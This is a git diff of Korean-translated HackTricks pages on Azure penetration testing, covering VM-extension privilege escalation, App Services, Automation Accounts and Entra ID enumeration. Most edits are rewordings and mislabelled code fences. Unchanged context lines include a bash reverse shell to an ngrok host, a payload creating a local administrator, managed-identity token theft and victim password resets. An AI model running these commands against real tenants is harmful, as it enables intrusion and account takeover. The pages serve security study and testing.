속성을 변경할 수도 있습니다. 동적 멤버십을 허용하는 그룹 가져오기: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** @@ -22,8 +22,8 @@ - **규칙 설명**: 'security' 문자열이 포함된 보조 이메일을 가진 모든 게스트 사용자가 그룹에 추가됩니다. 게스트 사용자 이메일에 대해 초대를 수락하고 [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView)에서 **해당 사용자**의 현재 설정을 확인합니다.\ -안타깝게도 페이지에서 속성 값을 수정할 수 없으므로 API를 사용해야 합니다: -```powershell +불행히도 페이지에서 속성 값을 수정할 수 없으므로 API를 사용해야 합니다: +```bash # Login with the gust user az login --allow-no-subscriptions diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index c54c4c776..b8a006cc2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -12,13 +12,13 @@ Azure Virtual Machines 및 Network에 대한 자세한 정보는 다음을 확 ### **`Microsoft.Compute/virtualMachines/extensions/write`** -이 권한은 가상 머신에서 확장을 실행할 수 있게 하여 **임의의 코드를 실행할 수 있게 합니다**.\ +이 권한은 가상 머신에서 확장을 실행할 수 있게 하며, 이를 통해 **임의의 코드를 실행할 수 있습니다**.\ VM에서 임의의 명령을 실행하기 위해 사용자 정의 확장을 악용하는 예: {{#tabs }} {{#tab name="Linux" }} -- 리버스 셸 실행 +- 리버스 쉘 실행 ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -79,7 +79,7 @@ az vm extension set \ 다음과 같은 다른 페이로드를 실행할 수도 있습니다: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - VMAccess 확장을 사용하여 비밀번호 재설정 -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -94,7 +94,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na VMAccess 확장 이 확장은 Windows VM 내의 사용자 비밀번호를 수정(또는 존재하지 않는 경우 생성)할 수 있게 해줍니다. -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) 이것은 Azure Windows VM의 구성을 관리하기 위해 PowerShell DSC를 사용하는 Microsoft의 **VM 확장**입니다. 따라서 이 확장을 통해 Windows VM에서 **임의의 명령을 실행**하는 데 사용할 수 있습니다: -```powershell +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { @@ -251,7 +251,7 @@ az vm application set \ ### `Microsoft.Compute/virtualMachines/runCommand/action` -Azure가 VMs에서 **임의의 명령을 실행하기 위해 제공하는 가장 기본적인 메커니즘입니다:** +Azure가 **VM에서 임의의 명령을 실행하기 위해 제공하는 가장 기본적인 메커니즘입니다:** {{#tabs }} {{#tab name="Linux" }} @@ -351,6 +351,6 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/ ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -[**문서**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)에 따르면, 이 권한은 관리자로서 Windows Admin Center를 통해 리소스의 OS를 관리할 수 있게 해줍니다. 따라서 이는 VM을 제어하기 위해 WAC에 대한 접근을 제공하는 것처럼 보입니다... +[**문서**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)에 따르면, 이 권한은 Windows Admin Center를 통해 리소스의 OS를 관리할 수 있게 해줍니다. 따라서 이는 WAC에 대한 액세스를 제공하여 VM을 제어할 수 있는 것처럼 보입니다... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 6acfd2b70..35e78357f 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -4,7 +4,7 @@ ## Portals -**Microsoft 포털 목록은** [**https://msportals.io/**](https://msportals.io/)에서 확인할 수 있습니다. +Microsoft 포털 목록은 [**https://msportals.io/**](https://msportals.io/)에서 확인할 수 있습니다. ### Raw requests @@ -13,7 +13,7 @@ **IDENTITY_HEADER**와 **IDENTITY_ENDPOINT**에서 **access_token**을 가져옵니다: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. 그런 다음 Azure REST API를 쿼리하여 **subscription ID** 및 기타 정보를 가져옵니다. -```powershell +```bash $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md index 1d0ec9df9..2d8c9e725 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-acr.md +++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md @@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash # List all ACRs in your subscription Get-AzContainerRegistry @@ -36,7 +36,7 @@ Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry" {{#endtab }} {{#endtabs }} -레지스트리에서 로그인 및 가져오기 +로그인 및 레지스트리에서 가져오기 ```bash docker login .azurecr.io --username --password docker pull .azurecr.io/: diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md index 4d07c00f2..794fa07f9 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md @@ -28,7 +28,7 @@ Azure App Services는 개발자가 **웹 애플리케이션, 모바일 앱 백 ## Basic Authentication -웹 앱(및 일반적으로 Azure 함수)을 생성할 때 **기본 인증을 활성화할지 여부**를 지정할 수 있습니다(기본적으로 비활성화됨). 이는 기본적으로 **SCM(소스 제어 관리자) 및 FTP(파일 전송 프로토콜)**를 애플리케이션에 활성화하여 이러한 기술을 사용하여 애플리케이션을 배포할 수 있도록 합니다. +웹 앱(및 일반적으로 Azure 함수)을 생성할 때 **기본 인증을 활성화할지 여부**를 지정할 수 있습니다(기본적으로 비활성화됨). 이는 기본적으로 **SCM(소스 제어 관리자) 및 FTP(파일 전송 프로토콜)**를 애플리케이션에 대해 활성화하여 이러한 기술을 사용하여 애플리케이션을 배포할 수 있도록 합니다. SCM 및 FTP 서버에 액세스하려면 **사용자 이름과 비밀번호**가 필요합니다. 따라서 Azure는 이러한 플랫폼에 대한 URL과 자격 증명을 얻기 위한 **API를 제공합니다**. @@ -41,10 +41,10 @@ SCM Kudu는 **SCM과 웹 및 API 인터페이스를 관리**하여 App Service를 관리하고 Git 기반 배포, 원격 디버깅 및 파일 관리 기능을 제공합니다. 웹 앱에 정의된 SCM URL을 통해 접근할 수 있습니다. -Kudu는 App Services와 Function Apps에서 사용하는 버전이 다르며, Function Apps의 버전은 훨씬 더 제한적입니다. +Kudu는 App Services와 Function Apps에서 사용되는 버전이 다르며, Function Apps의 버전은 훨씬 더 제한적입니다. Kudu에서 찾을 수 있는 몇 가지 흥미로운 엔드포인트는 다음과 같습니다: -- `/BasicAuth`: Kudu에 **로그인하기 위해 이 경로에 접근해야 합니다**. +- `/BasicAuth`: Kudu에 **로그인하기 위해 이 경로에 접근해야** 합니다. - `/DebugConsole`: Kudu가 실행되고 있는 환경에서 명령을 실행할 수 있는 콘솔입니다. - 이 환경은 **메타데이터 서비스에 접근할 수 없습니다**. - `/webssh/host`: 앱이 실행되고 있는 컨테이너 내에 연결할 수 있는 웹 기반 SSH 클라이언트입니다. @@ -52,17 +52,17 @@ Kudu에서 찾을 수 있는 몇 가지 흥미로운 엔드포인트는 다음 - `/Env`: 시스템, 앱 설정, 환경 변수, 연결 문자열 및 HTTP 헤더에 대한 정보를 가져옵니다. - `/wwwroot/`: 웹 앱의 루트 디렉토리입니다. 여기에서 모든 파일을 다운로드할 수 있습니다. -또한, Kudu는 [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)에서 오픈 소스였으나, 프로젝트가 중단되었으며 현재 Azure의 Kudu와 이전 Kudu의 동작을 비교하면 **여러 가지가 이미 변경되었음을 알 수 있습니다**. +또한, Kudu는 [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)에서 오픈 소스였으나, 프로젝트가 중단되었으며 현재 Azure의 Kudu와 이전 Kudu의 동작을 비교하면 **여러 가지가 이미 변경되었음을** 알 수 있습니다. ## Sources App Services는 기본적으로 코드를 zip 파일로 업로드할 수 있지만, 타사 서비스에 연결하여 그곳에서 코드를 가져올 수도 있습니다. - 현재 지원되는 타사 소스는 **Github**와 **Bitbucket**입니다. -- 인증 토큰을 얻으려면 `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`을 실행할 수 있습니다. +- 인증 토큰을 얻으려면 `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`을 실행하면 됩니다. - Azure는 기본적으로 코드가 업데이트될 때마다 App Service에 코드를 배포하기 위해 **Github Action**을 설정합니다. - 또한, 그곳에서 코드를 가져오기 위해 **원격 git 저장소**(사용자 이름 및 비밀번호 포함)를 지정할 수 있습니다. -- 원격 저장소에 대한 자격 증명을 얻으려면 `az webapp deployment source show --name --resource-group ` 또는 `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`을 실행할 수 있습니다. +- 원격 저장소에 대한 자격 증명을 얻으려면 `az webapp deployment source show --name --resource-group ` 또는 `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`을 실행하면 됩니다. - **Azure Repository**를 사용할 수도 있습니다. - **로컬 git 저장소**를 구성할 수도 있습니다. - `az webapp deployment source show --name --resource-group `로 git 저장소의 URL을 얻을 수 있으며, 이는 앱의 SCM URL이 될 것입니다. @@ -72,7 +72,7 @@ App Services는 기본적으로 코드를 zip 파일로 업로드할 수 있지 Azure WebJobs는 **Azure App Service 환경에서 실행되는 백그라운드 작업**입니다. 개발자가 웹 애플리케이션과 함께 스크립트나 프로그램을 실행할 수 있도록 하여 파일 처리, 데이터 처리 또는 예약된 작업과 같은 비동기 또는 시간 집약적인 작업을 더 쉽게 처리할 수 있게 합니다. 웹잡에는 2가지 유형이 있습니다: -- **지속적**: 무한 루프에서 실행되며 생성되자마자 트리거됩니다. 지속적인 처리가 필요한 작업에 이상적입니다. 그러나 Always On이 비활성화되어 있고 지난 20분 동안 요청을 받지 않으면 앱이 중지되므로 웹잡도 중지됩니다. +- **지속적**: 무한 루프에서 실행되며 생성되자마자 트리거됩니다. 지속적인 처리가 필요한 작업에 이상적입니다. 그러나 Always On이 비활성화되어 앱이 중지되고 지난 20분 동안 요청을 받지 않으면 웹잡도 중지됩니다. - **트리거**: 필요에 따라 또는 일정에 따라 실행됩니다. 배치 데이터 업데이트 또는 유지 관리 루틴과 같은 주기적인 작업에 가장 적합합니다. 웹잡은 환경에서 **코드를 실행**하고 연결된 관리 ID에 대한 **권한 상승**에 사용할 수 있기 때문에 공격자의 관점에서 매우 흥미롭습니다. @@ -89,7 +89,7 @@ Azure App Service Slots는 **동일한 App Service에 애플리케이션의 다 기본적으로 **Azure Function 앱은 Azure App Service의 하위 집합**입니다. 웹 콘솔에 가서 모든 앱 서비스를 나열하거나 az cli에서 `az webapp list`를 실행하면 **Function 앱도 나열된 것을 볼 수 있습니다**. -따라서 두 서비스는 실제로 대부분 **같은 구성, 기능 및 옵션을 az cli에서 가지고 있으며**, 약간 다르게 구성할 수 있습니다(예: appsettings의 기본값 또는 Function 앱에서 스토리지 계정의 사용). +따라서 두 서비스는 실제로 대부분 **같은 구성, 기능 및 옵션을 az cli에서** 가지고 있지만, 약간 다르게 구성할 수 있습니다(예: appsettings의 기본값이나 Function 앱에서의 스토리지 계정 사용). ## Enumeration @@ -180,7 +180,7 @@ az webapp hybrid-connections list --name --resource-group {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash # Get App Services and Function Apps Get-AzWebApp # Get only App Services @@ -264,7 +264,7 @@ SCM 포털에 로그인하거나 FTP를 통해 로그인하면 `/wwwroot`에서 ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -## 참고자료 +## 참조 - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) - [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index 895c0beb0..f596fd2ca 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Information -[문서에서:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) Azure Active Directory의 Application Proxy는 **온프레미스 웹 애플리케이션에 대한 안전한 원격 액세스**를 제공합니다. **Azure AD에 대한 단일 로그인** 후, 사용자는 **클라우드** 및 **온프레미스 애플리케이션**에 **외부 URL** 또는 내부 애플리케이션 포털을 통해 액세스할 수 있습니다. @@ -13,14 +13,14 @@ Azure Active Directory의 Application Proxy는 **온프레미스 웹 애플리
1. 사용자가 엔드포인트를 통해 애플리케이션에 접근하면, 사용자는 **Azure AD 로그인 페이지**로 안내됩니다. -2. **로그인 성공** 후, Azure AD는 사용자 클라이언트 장치에 **토큰**을 보냅니다. +2. **로그인 성공** 후, Azure AD는 사용자 클라이언트 장치에 **토큰**을 전송합니다. 3. 클라이언트는 토큰을 **Application Proxy 서비스**에 전송하며, 이 서비스는 토큰에서 사용자 주체 이름(UPN)과 보안 주체 이름(SPN)을 검색합니다. **Application Proxy는 요청을 Application Proxy 커넥터로 전송합니다**. 4. 단일 로그인을 구성한 경우, 커넥터는 사용자를 대신하여 필요한 **추가 인증**을 수행합니다. 5. 커넥터는 요청을 **온프레미스 애플리케이션**에 전송합니다. 6. **응답**은 커넥터와 Application Proxy 서비스를 통해 **사용자에게** 전송됩니다. -## 열거 -```powershell +## Enumeration +```bash # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 569057339..1953c7ad5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -8,12 +8,12 @@ ### 역사 -접근할 수 있다면, 현재는 존재하지 않지만 미래에 배포될 수 있는 **리소스에 대한 정보**를 얻을 수 있습니다. 또한, **민감한 정보**를 포함하는 **매개변수**가 "**SecureString**" 대신 "**String**"으로 표시된 경우, **명확한 텍스트**로 존재하게 됩니다. +접근할 수 있다면, 현재 존재하지 않지만 미래에 배포될 수 있는 **리소스에 대한 정보**를 얻을 수 있습니다. 또한, **민감한 정보**를 포함하는 **매개변수**가 "**SecureString**" 대신 "**String**"으로 표시된 경우, **명확한 텍스트**로 존재하게 됩니다. ## 민감한 정보 검색 `Microsoft.Resources/deployments/read` 및 `Microsoft.Resources/subscriptions/resourceGroups/read` 권한이 있는 사용자는 **배포 기록을 읽을 수** 있습니다. -```powershell +```bash Get-AzResourceGroup Get-AzResourceGroupDeployment -ResourceGroupName @@ -22,7 +22,7 @@ Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -Depl cat .json # search for hardcoded password cat | Select-String password ``` -## 참조 +## References - [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references) diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 7b57543f5..e95ef007f 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -16,7 +16,7 @@ Azure Automation Accounts는 Microsoft Azure의 클라우드 기반 서비스로 ### Runbooks & Jobs -Azure Automation의 Runbook은 클라우드 환경 내에서 **작업을 자동으로 수행하는 스크립트**입니다. Runbooks는 PowerShell, Python 또는 그래픽 편집기를 사용하여 작성할 수 있습니다. 이들은 VM 관리, 패치 적용 또는 준수 검사와 같은 관리 작업을 자동화하는 데 도움을 줍니다. +Azure Automation의 Runbook은 클라우드 환경 내에서 **작업을 자동으로 수행하는 스크립트**입니다. Runbooks는 PowerShell, Python 또는 그래픽 편집기에서 작성할 수 있습니다. 이들은 VM 관리, 패치 적용 또는 준수 검사와 같은 관리 작업을 자동화하는 데 도움을 줍니다. **Runbooks** 내의 **코드**는 **민감한 정보**(예: 자격 증명)를 포함할 수 있습니다. @@ -38,11 +38,11 @@ Runbook을 실행하는 주요 방법은 3가지입니다: ### Source Control -Runbooks를 **Github, Azure Devops (Git) 및 Azure Devops (TFVC)**에서 가져올 수 있습니다. 리포지토리의 Runbooks를 Azure Automation 계정에 게시하도록 지정할 수 있으며, 리포지토리의 변경 사항을 Azure Automation 계정에 **동기화**하도록 지정할 수도 있습니다. +**Github, Azure Devops (Git) 및 Azure Devops (TFVC)**에서 Runbooks를 가져올 수 있습니다. 레포의 Runbooks를 Azure Automation 계정에 게시하도록 지정할 수 있으며, 레포의 변경 사항을 Azure Automation 계정에 **동기화**하도록 지정할 수도 있습니다. 동기화가 활성화되면, **Github 리포지토리에서 웹훅이 생성**되어 푸시 이벤트가 발생할 때마다 동기화를 트리거합니다. 웹훅 URL의 예: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` -이 웹훅은 Github 리포에 연결된 runbooks에서 웹훅을 나열할 때 **보이지 않습니다**. 또한, 생성된 후에는 소스 제어의 리포 URL을 **변경할 수 없습니다**. +이 웹훅은 Github 리포와 연결된 runbooks에서 웹훅을 나열할 때 **보이지 않습니다**. 또한, 생성된 후에는 소스 제어의 레포 URL을 **변경할 수 없습니다**. 구성된 소스 제어가 작동하려면, **Azure Automation Account**에 **`Contributor`** 역할을 가진 관리 ID(시스템 또는 사용자)가 필요합니다. 또한, Automation Account에 사용자 관리 ID를 할당하려면, 변수 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**에 사용자 MI의 클라이언트 ID를 지정해야 합니다. @@ -61,7 +61,7 @@ Runbook을 생성할 때 런타임 환경을 선택할 수 있습니다. 기본 ### Hybrid Worker Groups -Azure Automation에서 Runbooks의 기본 실행 환경은 **Azure Sandbox**로, Azure에서 관리하는 클라우드 기반 플랫폼으로 Azure 리소스와 관련된 작업에 적합합니다. 그러나 이 샌드박스는 온프레미스 리소스에 대한 제한된 접근 및 실행 시간과 리소스 사용에 대한 제약이 있는 한계가 있습니다. 이러한 한계를 극복하기 위해 하이브리드 작업자 그룹이 사용됩니다. 하이브리드 작업자 그룹은 **자신의 머신에 설치된 하나 이상의 하이브리드 Runbook 작업자**로 구성됩니다. 이 설정을 통해 Runbooks는 이러한 머신에서 직접 실행되어 로컬 리소스에 직접 접근하고, 더 긴 시간 동안 더 많은 리소스를 사용하는 작업을 실행하며, Azure의 즉각적인 범위를 넘어서는 환경과 상호작용할 수 있는 유연성을 제공합니다. +Azure Automation에서 Runbooks의 기본 실행 환경은 **Azure Sandbox**로, Azure에서 관리하는 클라우드 기반 플랫폼으로 Azure 리소스와 관련된 작업에 적합합니다. 그러나 이 샌드박스는 온프레미스 리소스에 대한 제한된 접근 및 실행 시간과 리소스 사용에 대한 제약이 있습니다. 이러한 제한을 극복하기 위해 하이브리드 작업자 그룹이 사용됩니다. 하이브리드 작업자 그룹은 **자신의 머신에 설치된 하나 이상의 하이브리드 Runbook 작업자**로 구성됩니다. 이 설정을 통해 Runbooks는 이러한 머신에서 직접 실행되어 로컬 리소스에 직접 접근하고, 더 긴 시간 동안 더 많은 리소스를 사용하는 작업을 실행할 수 있으며, Azure의 즉각적인 범위를 넘어서는 환경과 상호작용할 수 있는 유연성을 제공합니다. 하이브리드 작업자 그룹을 생성할 때 사용할 **자격 증명**을 지정해야 합니다. 두 가지 옵션이 있습니다: @@ -70,15 +70,15 @@ Azure Automation에서 Runbooks의 기본 실행 환경은 **Azure Sandbox**로, 따라서 **하이브리드 작업자**에서 **Runbook**을 실행하도록 선택할 수 있다면, **System**으로 외부 머신 내에서 **임의의 명령**을 실행하게 됩니다(좋은 피벗 기술). -또한, 하이브리드 작업자가 Azure에서 다른 관리 ID와 함께 실행되는 경우, Runbook은 **메타데이터 서비스에서 Runbook의 관리 ID 및 VM의 모든 관리 ID에 접근할 수 있습니다**. +또한, 하이브리드 작업자가 Azure에서 다른 관리 ID와 함께 실행되는 경우, Runbook은 **Runbook의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다**. > [!TIP] -> **메타데이터 서비스**는 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있음을 기억하세요 (**`IDENTITY_ENDPOINT`**). +> **메타데이터 서비스**의 URL은 **`http://169.254.169.254`**로, 자동화 계정의 관리 ID 토큰을 가져오는 서비스의 URL(**`IDENTITY_ENDPOINT`**)과 다릅니다. ### State Configuration (SC) >[!WARNING] -> [문서](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)에 명시된 바와 같이, Azure Automation State Configuration은 2027년 9월 30일에 종료되며 [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)으로 대체됩니다. +> [문서](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)에서 언급된 바와 같이, Azure Automation State Configuration은 2027년 9월 30일에 종료되며 [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)으로 대체됩니다. Automation Accounts는 **State Configuration (SC)**도 지원하며, 이는 **VM의 상태를 구성하고 유지**하는 데 도움을 주는 기능입니다. **Windows** 및 **Linux** 머신에 DSC 구성을 **생성**하고 **적용**할 수 있습니다. @@ -197,7 +197,7 @@ az automation hrwg show --automation-account-name --resourc az rest --method GET --url "https://management.azure.com/subscriptions//resourceGroups/>/providers/Microsoft.Automation/automationAccounts//hybridRunbookWorkerGroups//hybridRunbookWorkers?&api-version=2021-06-22" ``` -```powershell +```bash # Check user right for automation az extension add --upgrade -n automation az automation account list # if it doesn't return anything the user is not a part of an Automation group diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 65ca32bdd..98529c6c4 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples {{#endtab }} {{#tab name="Mg" }} -```powershell +```bash # Login Open browser Connect-MgGraph @@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg* {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash Connect-AzAccount #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -104,7 +104,7 @@ Get-Command *az* {{#endtab }} {{#tab name="Raw PS" }} -```powershell +```bash #Using management $Token = 'eyJ0eXAi..' # List subscriptions @@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01 {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash Connect-AzureAD #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -151,10 +151,10 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token Azure에 **CLI**를 통해 로그인할 때, **Microsoft**에 속한 **tenant**의 **Azure Application**을 사용하고 있습니다. 이러한 애플리케이션은 귀하의 계정에서 생성할 수 있는 것처럼 **클라이언트 ID**를 가지고 있습니다. **콘솔에서 볼 수 있는 허용된 애플리케이션 목록**에서 모든 애플리케이션을 **볼 수는 없지만**, 기본적으로 허용됩니다. -예를 들어, **인증**을 수행하는 **powershell 스크립트**는 클라이언트 ID **`1950a258-227b-4e31-a9cf-717495945fc2`**를 가진 애플리케이션을 사용합니다. 애플리케이션이 콘솔에 나타나지 않더라도, 시스템 관리자는 사용자가 해당 앱을 통해 연결할 수 없도록 **해당 애플리케이션을 차단**할 수 있습니다. +예를 들어, **`1950a258-227b-4e31-a9cf-717495945fc2`** 클라이언트 ID를 가진 앱을 사용하는 **powershell 스크립트**가 **인증**을 수행합니다. 앱이 콘솔에 나타나지 않더라도, 시스템 관리자는 사용자가 해당 앱을 통해 접근할 수 없도록 **해당 애플리케이션을 차단**할 수 있습니다. 그러나 **Azure에 연결할 수 있는 다른 클라이언트 ID**의 애플리케이션이 있습니다: -```powershell +```bash # The important part is the ClientId, which identifies the application to login inside Azure $token = Invoke-Authorize -Credential $credential ` @@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Users Get-AzureADUser -All $true Get-AzureADUser -All $true | select UserPrincipalName @@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Enumerate users Get-AzADUser # Get details of a user @@ -295,14 +295,14 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtabs }} #### 사용자 비밀번호 변경 -```powershell +```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` ### MFA 및 조건부 액세스 정책 -모든 사용자에게 MFA를 추가하는 것이 강력히 권장되지만, 일부 회사는 이를 설정하지 않거나 조건부 액세스와 함께 설정할 수 있습니다: 사용자가 특정 위치, 브라우저 또는 **일부 조건**에서 로그인할 경우 **MFA가 필요**합니다. 이러한 정책이 올바르게 구성되지 않으면 **우회**에 취약할 수 있습니다. 확인하세요: +모든 사용자에게 MFA를 추가하는 것이 강력히 권장되지만, 일부 회사는 이를 설정하지 않거나 특정 위치, 브라우저 또는 **일부 조건**에서 로그인할 경우에만 MFA를 요구하는 조건부 액세스를 설정할 수 있습니다. 이러한 정책은 올바르게 구성되지 않으면 **우회**에 취약할 수 있습니다. 확인하세요: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -318,7 +318,7 @@ Entra ID 그룹에 대한 자세한 정보는 다음을 확인하세요: {{#tabs }} {{#tab name="az cli" }} -```powershell +```bash # Enumerate groups az ad group list az ad group list --query "[].[displayName]" -o table @@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true - {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Groups Get-AzureADGroup -All $true # Get info of 1 group @@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get all groups Get-AzADGroup # Get details of a group @@ -394,7 +394,7 @@ Get-AzRoleAssignment -ResourceGroupName #### 그룹에 사용자 추가 그룹의 소유자는 그룹에 새로운 사용자를 추가할 수 있습니다. -```powershell +```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] @@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Get Service Principals Get-AzureADServicePrincipal -All $true # Get details about a SP @@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get SPs Get-AzADServicePrincipal # Get info of 1 SP @@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName {{#endtab }} {{#tab name="Raw" }} -```powershell +```bash $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ @@ -489,7 +489,7 @@ Headers = @{
